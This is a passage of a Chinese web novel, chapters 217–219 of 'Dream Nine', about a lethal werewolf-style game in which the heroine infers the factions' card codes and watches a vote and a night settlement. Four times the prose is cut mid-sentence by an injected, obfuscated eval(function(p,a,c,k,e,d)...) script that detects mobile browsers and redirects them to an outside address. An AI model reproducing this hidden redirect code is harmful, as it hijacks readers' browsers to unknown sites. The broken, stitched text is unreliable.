但她的话不管对羊来说还是人和狼来说,都不是坏事。 羊想要小心行事,隐忍苟活,越到最后优势越大。 人和狼则庆幸有这样的参赛者出来阻止羊之间的联合。 矮个子男人似乎在站出来前经过了深思熟虑,此刻有人质疑他的目的,他也没有显得慌乱,反而气定神闲地应对道:“我可以明确地告诉所有人,我是灰羊,我们羊阵营的所有参赛者只要协力合作,一定可以赢得最后的胜利。” “你说是就是啊?那我还说我是灰羊呢!”人群中又有一个阴阳怪气的声音响起,他藏匿人群中,也不知究竟是谁在说话。 矮个子男人大笑起来,十分自信地说道:“我是不是灰羊,我们羊自有定论,我也不用跟你们其他阵营的多废话。总之,一切自愿,我只能说,如果跟我合作,我可以确保羊阵营在最后取胜,愿意来的羊到会议厅找我。” 说完这句话,矮个子男人自信地转身离开了客厅,只身一人走向会议厅。 很长一段时间内,人群中没有人挪动脚步,毕竟此刻追上去,便是自曝身份。 过了许久也没动静,终于有个胆大的人因为忍受不住站了出来,头也不回地往会议厅跑去。 不过,他的身份是不是羊,并不好说。 “真是秀,这个时候跳灰羊干嘛?”范正昂悄声对俞小澄说。 俞小澄也觉得有些莫名,想了想,大胆猜测道:“羊确实有种方式可以赢,那就是一直抱团住在一间房里,那外面只会留下人与狼厮杀,一旦其中一方被灭,羊便可轻松取胜。” “想法倒是不错,不过有两个弊端。”范正昂说,“一是羊阵营容易成为另外两个阵营集火的目标,二是灰羊技能只护得住6只羊,剩下的羊相当于被抛弃了,就算四只抱团取暖,也逃不出被红狼袭击的结局。” 俞小澄表示赞同,接过话题,低声道:“如果所有羊都团结一心的话,说不定还真如他所想,羊阵营会最终取胜。” 范正昂叹道:“嗯,一旦出现全羊房,人和狼只能被迫混住,那必然会有死亡,谁能熬到最后一天还真不好说,但前提是羊必须顶住白天被驱逐夜里被袭击的压力。” “是啊,可是他忘了这场游戏并不仅仅是团队赛,出局意味着死亡,真有人会舍得豁出性命么?”俞小澄面上露出凉薄的笑意。 出于好奇,俞小澄让招财跟进会议厅,看看矮个子男人到底要如何分辨对方是否是羊。 人群中每过一会儿,就有一人兴冲冲地往会议厅跑,其中就有长发女人。连小布都有些按捺不住,犹豫着想要移动脚步,然后撞上桑姐和小胖的视线,又赶紧装作无事发生。 石头在一旁挑唆:“呵呵,我们房中不也有两只小羊羔吗?确定要与我们人阵营合作,不跟羊阵营抱团吗?” 桑姐和小布的表情有些不自然,强忍着内心冲动,才没有望向会议厅方向。 石头目光犀利地从五人身上划过,观察着五人脸上的表情。 俞小澄猜石头想刺探他们之中谁是狼,谁是羊,便转移话题问:“今天驱逐票大概会落在那只自投罗网的灰羊身上,我们要跟票吗?” 石头敷衍地回应道:“明牌的家伙对我们来说还有威胁吗?我觉得今天完全可以先不投灰羊,改投胆敢现身的黑羊和白羊,可谓,杀鸡儆猴。” 俞小澄眯眼打量着石头,总觉得哪里怪怪的。 二人心思各异,表面掩饰着真实想法,相互刺探,却又谁都没有当面拆穿。 “我们房间的小羊应该不会出尔反尔吧?如果最后小羊们都跑了,留下一屋子人,今晚遇上全羊房就全灭了。”石头的话听上去像是提醒,可俞小澄从中根本感觉不到焦虑。 在石头眼中,一旦房间里的小羊反悔,留下的参赛者将面对的必定是全灭结局。 范正昂听了石头的话,面色明显焦躁起来,他比石头更不希望桑姐和小布因受不住诱惑逃离原本约定好的房间,那房间格局将变为人狼组合,触发吃人。 俞小澄表情始终平静,安慰一般对范正昂道:“这个时候,大概率不会有羊暴露身份,成为被驱逐的目标。” 在众人眼中,今天的被驱逐人选几乎已经内定,羊又怎么可能贸然露脸呢? 俞小澄悄悄看了桑姐与小布一眼,只见两人的脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199368|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有些焦虑,大概此刻正计算着哪种方式对自己来说更有利。 这更让俞小澄坚定了自己的想法,既然她们要考虑,至少说明她们并非完全没脑子。 相比之下,隐藏在现在的队伍里,有更明确的优势,还有住客之间携手互助,而自称灰羊的矮个子男人带来的更多是危险。 但凡有脑子的人,便不会抛下已经安排好的剧本,前去追求风险不可控的必胜法。 特别像桑姐这样撒谎隐瞒身份的人,一旦转移阵地,无疑是告诉其他住客她撒了谎,今后再想找其他住客合作怕是不容易。 小布自是不用说,就她那唯唯诺诺、顾虑太多的性子,实在无法果断做出决定,最终只会选择随波逐流。 因此,过了许久,这两人也没有挪动一步。 比起桑姐和小布,俞小澄更在意石头的态度,作为红狼,他没理由留着明牌灰羊不投,转而投身份并不明确的响应者。 至少在俞小澄看来,白羊和黑羊第一天就自投罗网的可能性不大。 而且,身为住客的俞小澄能断言队伍里的小羊不会逃离队伍,可身为NPC的石头,为何能表现得没有一丝担忧与焦虑? 正当她疑惑之时,前去打探会议厅内情况的招财带着一脸笑意回到了俞小澄身边。 “嘿嘿,姐姐,你猜怎么着,会议厅里哪里是灰羊在认同伴啊,根本就是鸿门宴!”招财忍不住捂嘴偷笑。 霎时间,萦绕在心头的疑惑得到了解答。 因为根本就是狼冒充灰羊,想要引羊现身,并且极有可能石头对此知情。 “可是,应该没有羊会上钩吧?”俞小澄在心里问招财。 招财点点头,说:“是的,进入会议厅的不是人就是狼。” “那他真的有办法分辨区号召响应者究竟是什么身份吗?” “他好像知道怎么认狼,其他不是狼阵营的,他也照单全收。” 俞小澄思考了片刻,照单全收这点她并不意外,毕竟不管是人还是羊,只要他知道进入队伍的狼阵营数量,便肯定出不了局。 最后结局只有两种,要么灭羊,要么吃人。 此时俞小澄最想知道的是狼互认的方式,于是她向招财确认。 招财一脸兴奋地告诉俞小澄:“说起来有些奇怪,他私下问了每个进入会议厅的参赛者一个相同的问题——你的身份文字下方是不是印着一行小字,写着No.5264?” 身份文字下方的小字,俞小澄还有印象,但她卡牌上的数字显然不一样。 “然后呢?”俞小澄一脸好奇。 招财继续说:“然后啊,小狼在确认自己卡牌上的数字后,立刻就明白了他狼的身份,两人便低调地互认了身份。人则不一样,确认卡牌数字后,会回答他一个‘对’字,由此他也就知道对方实际与自己不同阵营了。” 俞小澄这下明白了,身份卡牌上的数字,其实就是身份的分类。 见俞小澄不语,招财又得意洋洋地邀功道:“我刚才还特意去确认了一圈,发现羊阵营的数字统一为No.9264,狼阵营是No.5264,人阵营是No.736。” 一种可以利用的想法,在俞小澄的心底发了芽。 217. 梦境(九) 至于该如何利用这条消息,暂时用不着俞小澄费心,因为今日的格局大致已经定下,要如何操作,且看明日醒来,还剩多少人再决定。 约莫过了一个多小时,会议厅里所谓的“六羊联盟”已经建立,虽说里面其实一只羊都没有。 俞小澄没有继续待在客厅里,趁人不注意,独自溜进了休息室,锁上门在里面玩起了游戏,消磨无聊的时间。 “姐姐怎么越来越心大了……”招财坐在沙发靠背上,双手托着下巴,一脸的没劲。 进宝紧挨俞小澄坐着,看着俞小澄糟糕的操作,在游戏中一遍一遍送死,面露担忧的神情。 她娇声询问:“姐姐,你不会真的在考虑离开进宝吧?” 俞小澄闻言,握着手柄的动作凝固了片刻,此时屏幕中的小人儿又因为没能躲避敌人攻击,倒在了血泊里。 “做梦终归会醒,游戏总有结束的一天,就连人生都有终结,我只是觉得,早晚会有这一天。”俞小澄说话的语气平淡,仿佛已经将生死看透。 进宝摇晃着俞小澄的胳膊,撒娇道:“不要嘛,进宝不想跟姐姐分开。” 俞小澄笑得有些苦涩,一时不知该如何安慰,倒是一旁的招财十分看得开地出言劝道:“进宝,你别任性,不管姐姐做什么决定,我们都应该站在她这边才对!” 俞小澄身子稍稍后仰,抬手在招财的鼻梁上轻轻一刮,调侃道:“哪里学的这般油嘴滑舌?” “才不是油嘴滑舌哩,姐姐不是说我们是你的守护神么?守护神自然站在姐姐这一边!”招财有些气恼地辩解道。 听到这句话,俞小澄心中不免有些惆怅。 “守护神”三个字并不是她想出来的定义,刚进入穷途旅店,经历第一场梦境,当别人甚至她自己都怀疑她产生幻觉,看见了不应该存在的东西,只有吴樊祐用这个词安抚了她的敏感。 从那以后,招财进宝就真成了她的守护神。 有时候她会想,为什么偏偏只有自己能看见招财进宝? 两个小家伙从一开始就对她格外热情,仿佛等了她很久,好像这个人非她不可一般。 心里藏着太多的疑问,恐怕最终也不会找到答案,于是她一边继续玩着自己怎么也不擅长的游戏,一边跳过这些问题,单纯传达自己的想法。 她说:“如果我真在这场梦境中结束了自己的旅程,你们要是觉得无聊,就跟着范正昂吧。他与我不同,不需要寻找留下的理由,想要活着,这个信念足以支撑他在旅店待许久了。” 进宝嘟着嘴,不高兴地说道:“进宝只做姐姐的守护神!” 俞小澄温柔地抚摸着进宝的脑袋,安慰道:“不是守护神也没关系,反正他也看不见你们,只是若你们无聊,可以给他提供点帮助,也算打发时间了对吧?” 不管是曾经的世界,还是现在的世界,少了谁都会照常转动,然后他们留在这世上的痕迹将在时间洪流的冲刷中渐渐消逝。 现实中不再有人记得俞小澄,旅店中也将不留痕迹。 也许,招财进宝会记得,也可能时间久了就会忘记,谁知道呢。 俞小澄没有去问,问了说明她还在意,好像矫情地希望自己还能留下点什么似的。 招财进宝受她的低气压影响,情绪也低落下来,没有再劝说,只是安静地陪在她身边,不知何时就会陪她走完最后一程。 游戏中无休止的失败持续了好几个小时,俞小澄不知疲倦,不知饥渴,直到有人敲响了房门。 门外传来范正昂的声音:“俞小姐?你在里面吗?” 不管是午饭还是晚饭,俞小澄都未现身,于是范正昂开始在房子里寻找起来,找了许久,终于注意到这个大门紧闭的房间。 太久没有起身活动过,俞小澄感觉身体有些僵硬,一边捶着肩膀,一边起身给范正昂开了门。 “到时间投票了?”俞小澄疑惑地看了看手表,距离晚上9点不到两小时,的确差不多该投票了。 “嗯,有些人已经投了,有些人还在纠结。”范正昂点了点头,见俞小澄没精打采的样子,又关心地问道,“你没遇上什么事吧?” 俞小澄像个没事人一样,耸了耸肩,反问:“我能遇上什么事?” 从范正昂的眼神中,俞小澄能看出和招财进宝相似的担忧,他或许是现在穷途旅店中难得一个希望她一直留下的人了。 “没事就好,没事就好。”范正昂嘴上一边说着,眼睛一边往房间里瞄。 俞小澄又向他询问了投票情况,才知她独坐房中打游戏的时间里,又出了一件足以影响整体格局的事件。 又有个叫唐景的男人站出来,与矮个子男人对跳灰羊,并抨击对方真实身份是狼。 二人争执不休,可谁也不愿意当着所有人的面拿出证明灰羊身份的证据。 原本与矮个子男人组好队的人中,有三人迟疑,有两人坚称相信矮个子男人才是真正的灰羊,并当场指责唐景这么久才跳身份,绝对不安好心。 而外置位的人更多的是观望,如今对跳灰羊的两位参赛者成了全场焦点位,羊阵营或许会担心灰羊出局,但绝对不会轻易暴露身份,其他阵营则纯粹看戏,因为结果已经很明显,今天驱逐票大概率会挂在这两个招摇的家伙头上。 “所以现在投唐景的人多,还是投那个谁的人多?”俞小澄好奇问道。 “冯乐志?第一个认灰羊的人?” “哦,对,就他。” “都不是……”范正昂脸上写着一言难尽四个字。 这结果令俞小澄很是意外,她不知道为何一眼能看到结局的事还能出现转机,还有另一件同样让她不理解的行为,这些人为啥会傻到自报姓名。 这场驱逐投票是以名字作为投票计数,俞小澄第一反应便是隐瞒姓名,如此一来,就是对方想往她身上投票,都会被拦在第一道门外——如何知晓她的名字。 她将这个问题告诉了范正昂,范正昂没有直接回答,而是带着她前往了会议厅。 俞小澄还未仔细观察过会议厅里的布局,此前探索房间区域时,只简略地将每个房间走了一遍,粗略有了个整体格局的印象。 这次再进入会议厅,她仔细环顾四周,发现除了正中央的会议用圆桌和椅子,一侧墙上还挂着巨型投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204580|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影幕布。 圆桌上方天花板上的投影仪,此刻正播放着投影,那巨幕上显示的正是所有参赛者的照片与姓名。 “这梦境的恶灵真是有心了……”俞小澄看着幕布上自己的大头照及名字,嘴里忍不住嘟囔。 会议厅的另一面墙上,布置着一块四四方方的展示板,展板上贴着30张选票,每张选票边上都印着每一位参赛者的名字,而空白签字区则用于书写驱逐者的名字。 在展示板的旁边,放着一台投票机,屏幕上正倒数着投票截止时间,屏幕的下方有一条细长的开口,看长度恰好与选票相当。 而在会议厅的角落里,还有一个隐秘的小房间,其中一面墙上镶嵌着整面的磨砂玻璃,仿佛一个大型展示柜一样。 小房间里亮着灯,隐隐约约可以看见一张椅子,而椅子两旁各站着一个高大的身影,一动不动,更像是两个人偶被放在了展示柜中。 俞小澄往门牌上看了一眼,只见上面写着三个字——驱逐间。 至少弄清了一个疑点,俞小澄走回投票机前,似乎投票结束前,并不会显示当前票选情况,她只能问范正昂:“所以,你怎么知道最终结果不是那两个对跳灰羊的家伙?” “在去找你前,不少人聚在会议厅里投票,我偷看到不少人写下的是另一个名字。”范正昂瞥了一眼房间外活动的人群,低声回道。 就在灰羊对跳事件发生后不久,一个本来不在焦点位上的人,做了一个最坏的决定。 那人原本已经与冯乐志等人结下盟约,确立了今晚的合作关系,结果因为突然有人跳出来认灰羊,并指认冯乐志为狼,于是那人开始动摇了。 于是那人私下找了唐景,打算悄悄跳槽,不料这件事被同盟中的另一个人撞见了,于是向冯乐志告了状。 冯乐志当即号召所有小羊将驱逐票投给那个叫金诚的男人,并大肆宣扬道:“金诚的背叛,绝不是正直的小羊能干出来的事,他可能是隐狼,今天他可以轻易背叛我,明日也可以轻易背叛你们,这样的家伙绝对不能留!” 于是,金诚成了那些举棋不定之人的目标。 “羊阵营不确定冯乐志和唐景之间究竟谁才是真的灰羊,所以大概率票不会落在他们俩头上,这时候出现一个背叛者,不正好给羊阵营一个最佳选项么。”俞小澄略微嘲讽地说道。 范正昂感慨道:“是啊,只能怪他自己太不小心了。” “可惜了,如果做得再隐蔽点,说不定能逃脱死亡。”俞小澄话中虽表示遗憾,可语气中充满事不关己的味道。 俞小澄猜测唐景大概也不是灰羊,是人的可能性更高,可能是想借着灰羊的身份吸引小羊进队。 这一点推测经过招财的确认后得到了肯定,他们队伍已经有三个人,只要再吸引一只羊,便可做成屠狼局,就算没能杀掉一头狼,也可形成人羊平安夜。 最坏的情况则是引来三头狼。 在调查唐景队伍成分时,招财还意外发现,真正的灰羊当真进了唐景的队伍,并且这人俞小澄还认识,正是恶灵嫌疑人之一的大林,那个在修仙梦境中抢先进入记忆之门的高中生。 218. 梦境(九) 俞小澄一直以为,三名高中生会被安排在同一阵营,没想到招财一查之下发现,他们各占了一个阵营。 石头是狼阵营的红狼,大林是羊阵营的灰羊,至于剩下那个最早在修仙梦境中死去的高中生小北,他是人阵营的猎人。 “这样安排,如果三人中有人被淘汰出局,恶灵会不会干涉结果啊……”俞小澄自言自语道。 她心中不免生出一种想法,或许明日可以先拿石头下手看看情况。 “俞小姐,你打算投谁?” 不知不觉间,范正昂从展示板上取下属于俞小澄的那张驱逐票,递到俞小澄面前,一脸好奇地问道。 俞小澄没有回答,反而问道:“你投谁了?” 范正昂被她问得一愣,随即有些不好意思地回答道:“其实你不在的时候,那个叫石头的人,游说我们队的人一起投金诚。” 俞小澄听完不由得发出一声冷笑,这下更让她怀疑,冯乐志这只小狼,从一开始就已经和红狼石头相互认下,冯乐志之所以跳灰羊,其中一个原因就是为了引出真正的灰羊。 所以,当唐景跳出来时,石头才那么坚定地拉着队伍中的四人一起投了冯乐志号票要投的背叛者金诚。 如果真的是人阵营,怎么都应该在两个跳灰羊的人之间投票。 “那我这一票投不投都无所谓了,丝毫不影响投票结果。”俞小澄挥了挥手里的驱逐票,将空白的票塞进了投票机中。 按照她的猜想,她所在的队伍被石头号票投了5票给金诚,冯乐志的队伍大概率也是全员投给金诚,便已经有10票,加上不敢在对跳灰羊的人之间投的小羊们,至少还有7票,也就意味着大概有17票会挂在金诚头上。 远远过半,剩下的人就是全部挂在冯乐志头上也已经无济于事了。 俞小澄随意找了个位子坐下,想看看这场梦境的处决又有什么新花样。 于是她在会议厅里一直坐到了晚上9点。 当9点的钟声响起,原本四散在屋子各处的人匆匆赶到会议厅,他们都想知道最终的投票结果。 投票机上的倒计时已经结束,屏幕上正显示着“结果公布中”五个大字。 投影幕布上的画面忽然闪动一下,原本图片加姓名的介绍画面消失,随后出现的众人眼前的是此次投票的具体情况。 画面中出现三个名字:冯乐志、唐景和金诚。 名字后以柱状图进行着投票数的比较,柱状图末尾则标注着具体票数量。 最终,冯乐志得了6票,唐景得了5票,金诚以17票遥遥领先,所有参赛者中,只有两人弃票,结果中并未标注弃票的两人是谁。 金诚看到结果时,整个人都傻眼了,难以置信地望着周围一脸窃喜准备看他笑话的人。 “你们有没有脑子啊,投我干什么?冯乐志改票到我身上,明显他做不了灰羊啊,你们这些帮他投票的傻子,等着看好了,晚上你们必死!” 金诚指着原来还是队友的四人破口大骂,歇斯底里发泄着心头的怨气。 他的辩白在其他人看来苍白而无力,不管他的真实身份是什么,都没那么重要,毕竟这不仅仅是阵营游戏,更是个人战,只要死的人不是自己,那么死谁都不冤。 其实金诚盘的逻辑没有问题,冯乐志完全没理由号票投一个因为怀疑他身份而准备偷偷跳槽的金诚。 毕竟,金诚还有小羊的可能性,而那个明着跟他对跳灰羊的唐景,在他眼中才是绝对的坏身份。 因此,越过唐景,改投金诚,就已经说明他做不成灰羊。 可惜,这并不是一场纯靠逻辑的狼人杀游戏,这是人狼羊三方混战的生死游戏,要考虑的不仅是逻辑,更多的是人性。 在金诚怒气冲冲的谩骂声中,俞小澄听见一阵十分突兀的开门声。 不少人跟她一样注意到了这个不协调的声音,纷纷扭头循着声音望去。 只见一直大门紧闭的驱逐间,此刻房门开启,原本一动不动的两个高大人偶忽然活了过来,一步一步朝着门口走来。 当那两个人偶走出驱逐间时,俞小澄才看清那两个人偶的真面目。 两人穿着黑色的西服套装,面色青灰,眼眶里空无一物,漆黑一片,仿佛装着一片深渊,上下嘴唇被粗麻线以V字交叠的形式缝合在一起。 人群见状纷纷往门外涌去,全都避让着这两个看上去不像活人的东西。 俞小澄坐在椅子上没有动,视线则随着两个高大的身影径直移向金诚。 只见金诚浑身颤抖着站在原地没有移动一步,任由两个怪人一步步靠近自己,嘴里绝望地呼喊着救命。 看他身体僵硬的状态,俞小澄估计不是他不想逃,而是被什么控制了根本动不了。 然后,在众人心惊胆战的目光注视下,金诚被两个怪人一左一右架着胳膊,拖往驱逐间。 逃离房间的人见没有别的动静,又小心翼翼回到门边向里张望,然后便看见金诚被带进了驱逐间。 驱逐间的大门在三人进入后立即关闭,众人只能透过磨砂玻璃勉强看见三人的行动轨迹。 金诚似乎被两个怪人架上了屋子中间的座椅,然后那两个怪人又重新回来原本的位置,又将自己站成了不会动的人偶,而中间的金诚仿佛与椅子粘合在一起,为原本展示的画面增添了一抹新色彩。 忽然,琥珀色的液体从椅子上方落下,尽数落在了金诚的头上,糊得满身都是。 整个过程没有一点声响,根本没人知道里面正进行着怎样的驱逐仪式。 有些人不忍再看下去,转身离开了会议厅,有些人则好奇,最后会是怎样的结局。 俞小澄便属于好奇的一方,她一直坐在椅子上,目不转睛地望着那被玻璃阻挡得看不清的画面。 大约过了半个小时,驱逐间再无动静,那磨砂玻璃竟然一点点变得透明。 房间内的一切变得无比清晰,两个怪人依旧如两个没有生命的诡异人偶,一动不动地立在椅子两边,而椅子此刻已经与坐在上面的金诚一起,被一团琥珀色包围,如同一块晶莹剔透的琥珀化石。 化石中的人,其惊恐、绝望、窒息的神情被完美地保留下来,充斥着恶灵的恶趣味。 俞小澄这时望向人群,视线在人群中搜寻着小北和大林的身影。 然后她成功锁定了两人的位置,他们都跟她一样留在会议厅里,等待着驱逐的最终画面,只是脸上的表情有些许不一样。 小北微微皱着眉,若有所思;大林一脸淡然,似乎眼前的东西不足以唤起他的兴致。 这两个表情都不符合俞小澄心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209159|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对恶灵的画像,她以为能做出这样恶趣味的人,大抵会一脸享受地欣赏自己创造的“艺术品”。 驱逐仪式结束,众人不敢在外久留,纷纷按照已经商量好的队形,前往了二楼房间休息。 俞小澄等人选择了二楼A房间,在进门前,她留意到冯乐志带着四人进了B房间,小北进了C房间,而唐景带领五人进了D房间,这五人中正好有大林,至于剩下那间房,她并没在意。 这间房很宽敞,一左一右各摆着三张大床,仅以床头柜相间隔。 俞小澄主动选择了左边靠窗的床铺,桑姐和小布便顺着她的选择,分配了左边剩余两张床,桑姐睡中间那张,小布被挤到了靠门那一张。 看小布的样子明显并不想这么选,可碍于桑姐的面子,不敢多说什么,只能被迫接受了这样的安排。 范正昂便选择了右边靠窗那张床,往里依次是小胖和石头。 房间正对大门的方向,有一个小隔间,大小只有2-3平方,出口没有装门,而是挂着门帘做遮掩,像极了商场里的换衣间。 甚至里面的装潢都跟换衣间一样,头顶一盏灯,三面镜子墙。 “真讲究,还专门修了个换衣间,问题是,我们也没衣服可换啊……”桑姐在那个神秘的小隔间里转了一圈,出来就忍不住吐槽。 小胖挑着眉,脸上浮出令人厌恶的笑,嘴里说着骚话:“哈哈,除了换衣服,也有别的事用得上嘛!” 小布根本不敢接话,脸上染出一片红晕,赶紧转移视线,假装没有听到他说了什么。 桑姐满不在乎地与小胖互开黄腔道:“哼,是啊,别人是两人用,你是一人用!” 范正昂正想制止这两人继续将这个话题进行下去,俞小澄冷哼一声道:“脑子只能想到这些真好,都不用担心别人进去发动技能干掉你们俩。” 一句话,房间里的气氛瞬间凝固。 小胖和桑姐相视一眼,然后不约而同瞪向了俞小澄,但接下去的话也就此终止了。 俞小澄才不管那两人心情好不好,看见他们一脸不爽,反正她的心情大好,欣然躺在床上睡大觉。 范正昂强忍着笑意,为了缓和气氛一般解释道:“晚上11点到12点之间,抽到特殊身份牌的参赛者可以根据技能选择行动,这行动肯定不能当着同屋参赛者的面进行,那唯一能独处的地方,不就是技能发动的地方嘛。” 小布情不自禁拍手称赞:“范哥好聪……” 话还没说完就吃了桑姐一个白眼,剩下的话便只能吞回肚子里,小布赶紧埋头不再继续说下去。 “哼,我当然知道,只是看房间里太沉闷,开个玩笑活跃活跃气氛罢了!”小胖一脸不服气,强词夺理地诡辩道。 范正昂懒得跟他争论,只微笑着回了句:“是,你肯定知道,我这话是告诉新朋友的。” 没了聊天的气氛,房间里又重新回归安静。 一直到11点的钟声响起,房间里响起了一阵广播,广播里的声音与他们白天在电视中听到的一样,经过特殊处理,听不出是男是女。 “请房中的参赛者依次进入密室,密室每次会封闭10分钟,各位可在里面慢慢思考是否发动技能。为了不暴露身份,没有拿到特殊身份的参赛者也必须进入密室,安静等到封闭时间结束。” 219. 梦境(九) 广播在介绍完规则后,便没了声响,原本放下的门帘自动收缩到一旁,仿佛在迎接客人光临。 在场六人相互对视,似乎在确认着进入密室的顺序。 见一直没人动,俞小澄问都懒得问,径直朝密室走去,然后就听到身后小胖的叫嚷声。 小胖言辞尖锐道:“你又没技能,干嘛那么着急?不会撒谎了吧?” 范正昂怕小胖一激动说漏嘴,赶紧插话道:“哎,无所谓,反正大家都没技能,总得每个人进去坐十分钟,早进早结束,何必在意这些细节呐。” 桑姐同样怕被石头发现情况不对,便在一旁帮腔:“对啊,反正大家都一样,进去也是傻坐十分钟,不必太在意先来后到。” 小胖被二人说得面子上有些挂不住,就算意识到二人是怕自己不小心将五人商量好的计策暴露给冤大头,他还是嘴硬道: “我也没说错啊,想要第一个进也不跟大家打声招呼,每次都自以为是的样子,看不起谁呢?” 俞小澄转头冷冷瞥了小胖一眼,他瞬间露了怯,看上去有点底气不足的味道。 俞小澄没惯着他,毫不留情地回怼道:“你这张嘴啊,怕是怎么死的都不知道。如果我有技能,第一个便用在你身上。” 小胖大惊失色,还要再回嘴,俞小澄没给他机会,转身进入密室,一把拉上了门帘。 刹那间,四周的声音消失了,就好像这间密室属于另一个时空,完全与世隔绝。 俞小澄想要看看门帘外,然后发现门帘后漆黑一片,什么也看不到,果然离开了原本的房间,保密措施可谓是相当到位。 等从门帘收回视线,俞小澄才注意到三面镜子墙上,出现了包括她自己在内的三十位参赛者的照片和姓名,十个一组整齐地排列在镜子中。 在这些照片的最上方,浮现出一行白色的字——请选择你要查验的对象。 其实俞小澄不用查验技能也能知道所有人的身份,秉承着“来都来了”的原则,俞小澄随意点了镜子上自己的照片,然后三面镜子中的照片全部消失,唯独留下俞小澄的照片。 然后照片下浮现出另一行字——她的身份是:人阵营。 没有任何惊喜和意外,今日的查验暂告一段落,镜中景象彻底消失,又恢复成普通的镜子,映出无数个俞小澄。 看看时间才过了两分钟,俞小澄完全不知道将封闭时间设置那么长的意义是什么。 至少对她来说纯粹是无聊地浪费时间罢了。 镜子里的自己看得她头晕目眩,俞小澄面对门帘坐在这个小小的空间里,尽量不让视线落在两边镜子上,而是望着黑色的门帘发呆。 招财进宝似乎进不了这个虚幻的空间,她连个聊天的人都没有。 煎熬地度过这漫长的八分钟,当耳边再度响起嘀嘀咕咕的说话声,俞小澄知道,这烦人的十分钟总算结束了。 门帘在面前自动移开,门帘后正站着一个人,一脸诧异地俯视着俞小澄,大概是不理解俞小澄为何一脸生无可恋地坐在密室中央。 此人正是石头,看来身在密室外的五人商量出了接下来的顺序,而石头正准备接过第二棒。 俞小澄刚回到床边,桑姐就迫不及待地打听道:“里面是啥样?要怎么发动技能呢?” 看似为了满足好奇心,实则想借机探口风,以为这样问,俞小澄会一个不留神,暴露出自己的真实身份。 这点小伎俩在俞小澄眼中实在不像样,俞小澄一脸冷漠地回道:“你自己进去看看不就知道了。” 桑姐分不清俞小澄是真不知道,还是故意不答,顿觉无趣,也就不再浪费表情。 当其他人按照商量好的顺序前去密室“关禁闭”时,俞小澄已经倒在床上睡起了大觉,俨然一副置身事外不问世事的姿态。 等到最后一人从密室中走出,房中的灯光瞬间熄灭,前一秒还有疑惑的议论声,下一秒整间房中都陷入了寂静。 所有还未入睡的人都在几秒时间内,由清醒直转入昏睡,好似躺在手术台上吸入两口麻醉药,瞬间失去了意识一样。 不知昏睡了多久,俞小澄听见有人在低声叫自己,陡然从昏睡中清醒过来,只见房中一片昏暗,四周床上的人全都呼吸平稳,似乎还沉醉于梦乡中。 她在黑暗中努力聆听着周围声响,可再没听到什么呼唤声。 俞小澄知道那不是幻听,只因这感觉她太过熟悉,已经不知在多少梦里重复了多少次,她轻轻叹了一口气,自言自语道:“又来了。” 从床上爬起来,俞小澄凭直觉朝房门口方向走去,然后看见微弱的亮光透过门缝照进屋子里。 俞小澄凑到门边,通过猫眼向外张望,然后便看见不远处亮起的光点,依然好像有人提着一盏快要熄灭的灯笼,在空无一人的走廊里游荡,并盛情相邀。 “果然,你每晚不出现不痛快是吧?”俞小澄嘴上说着嫌弃的话,手却还是搭在了门把手上。 刚想出门跟去看看这次的记忆碎片又刷新在了什么地方,一道黑影在微光中一晃而过。 俞小澄有些不确定,按理说这个时间段,除了她这种不管死活的人,应该没人会违规走出房间。 于是为了确定自己没有看错,俞小澄又往猫眼里看去。 这一次,走廊上不仅仅有那一道微光,还出现了两个黑影,看轮廓与驱逐间那两个怪异的人偶有些相似。 俞小澄心觉不妙,那人偶移动时准没有好事,她赶紧收回搭在门把手上的那只手,轻手轻脚挪回了床上。 她脑袋刚刚接触到枕头,就听到一阵开门声,两个笨重的脚步声在房间里响起,然后是窸窸窣窣被子摩擦的声音,似乎有人被他们扛在了肩上,使得那脚步声比刚进屋时更重了些。 俞小澄全程侧躺在床上,面对着窗玻璃,浑身僵硬,大气都不敢出,安静地等待着那两个人影离开。 整个过程不过一分钟,俞小澄却感觉无比漫长,好奇那两个人影做事怎么这么慢,可又不敢回头偷看。 身后传来关门声,脚步声越来越远,俞小澄才从床上坐起身,然后借着窗外朦胧的月光,隐约分辨出自己这一侧的两张床上,全都没了人。 看样子,刚才就是所谓的房间结算。 桑姐和小布二只白羊,因为入了人狼同数的房间,而触发了灭羊。 想着那两个人影还在走廊活动,不想迎面撞上那两个不像活人的执法者,俞小澄果断放弃了外出寻找记忆碎片的想法,转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 